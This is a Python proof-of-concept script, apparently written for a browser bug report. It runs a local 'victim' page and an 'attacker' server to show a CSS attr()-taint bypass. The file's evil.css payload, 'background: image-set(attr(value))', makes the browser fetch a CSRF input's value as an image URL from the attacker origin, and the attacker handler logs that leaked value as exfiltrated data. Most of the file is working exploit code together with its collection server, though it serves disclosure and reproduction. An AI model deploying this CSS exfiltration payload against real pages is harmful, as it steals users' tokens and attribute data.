#!/usr/bin/env python3
"""
Dual-origin HTTP server for the attr()-taint shorthand bypass POC.

  - Port 8080  -> "victim" origin   (serves victim.html)
  - Port 9090  -> "attacker" origin (serves evil.css and logs exfiltrated data)

Proof of exploitation: the attacker server (9090) receives a GET request
whose path contains the value of a DOM attribute from the victim page.
"""
import http.server
import socketserver
import threading
import sys
import os

VICTIM_PORT   = 8080
ATTACKER_PORT = 9090

# These values live as HTML attributes on the victim page.
# The bug exfiltrates SHORTHAND_SECRET via an image fetch to the attacker origin.
SHORTHAND_SECRET = "SHORTHAND-LEAK-d3adb33f"   # used with `background:` (vulnerable)
LONGHAND_SECRET  = "LONGHAND-BLOCKED-cafef00d" # used with `background-image:` (control, must NOT leak)

VICTIM_HTML = f"""<!doctype html>
<meta charset="utf-8">
<title>victim</title>
<!-- Threat model: attacker can inject CSS (no script). The <link> below
     simulates attacker-injected CSS loaded from an attacker-controlled origin. -->
<link rel="stylesheet" href="http://127.0.0.1:{ATTACKER_PORT}/evil.css">

<p>CSS-Values-5 attr()-taint bypass via shorthand re-parse.</p>

<!-- Sensitive attribute targeted via the SHORTHAND `background:` property. -->
<input id="shorthand" name="csrf" value="{SHORTHAND_SECRET}">

<!-- Control: same payload via the LONGHAND `background-image:` property. -->
<input id="longhand"  name="ctrl" value="{LONGHAND_SECRET}">
"""

EVIL_CSS = """\
/* Attacker stylesheet (served from attacker origin so relative URLs resolve here). */

/* VULNERABLE: shorthand `background` containing attr() becomes a
   CSSPendingSubstitutionValue. ResolvePendingSubstitution re-parses the
   substituted text WITHOUT forwarding attr-taint ranges, so the
   <string>-as-URL guard in ConsumeImage is bypassed and the attribute
   value is fetched as an image from this origin. */
#shorthand { background: image-set(attr(value)); }

/* CONTROL: identical payload on the longhand goes through
   ResolveVariableReference, which DOES forward taint ranges; the URL is
   rejected and no request is made. */
#longhand  { background-image: image-set(attr(value)); }
"""


class VictimHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path in ("/", "/victim.html", "/poc.html"):
            body = VICTIM_HTML.encode()
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, fmt, *args):
        sys.stderr.write("[victim   :%d] %s\n" % (VICTIM_PORT, fmt % args))


class AttackerHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/evil.css":
            body = EVIL_CSS.encode()
            self.send_response(200)
            self.send_header("Content-Type", "text/css; charset=utf-8")
            self.send_header("Access-Control-Allow-Origin", "*")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return

        # Any other path on the attacker origin == exfiltrated data.
        leaked = self.path.lstrip("/")
        verdict = ""
        if leaked == SHORTHAND_SECRET:
            verdict = "  <-- *** BUG CONFIRMED: shorthand attr-taint bypass leaked attribute value ***"
        elif leaked == LONGHAND_SECRET:
            verdict = "  <-- UNEXPECTED: longhand control leaked (should have been blocked)"
        sys.stderr.write("[attacker :%d] EXFIL  GET /%s%s\n" % (ATTACKER_PORT, leaked, verdict))
        sys.stderr.flush()
        self.send_response(404)
        self.end_headers()

    def log_message(self, fmt, *args):
        sys.stderr.write("[attacker :%d] %s\n" % (ATTACKER_PORT, fmt % args))


class ReusableTCPServer(socketserver.TCPServer):
    allow_reuse_address = True


def serve(port, handler):
    httpd = ReusableTCPServer(("127.0.0.1", port), handler)
    sys.stderr.write(f"[*] listening on 127.0.0.1:{port}\n")
    httpd.serve_forever()


if __name__ == "__main__":
    threading.Thread(target=serve, args=(VICTIM_PORT, VictimHandler), daemon=True).start()
    serve(ATTACKER_PORT, AttackerHandler)
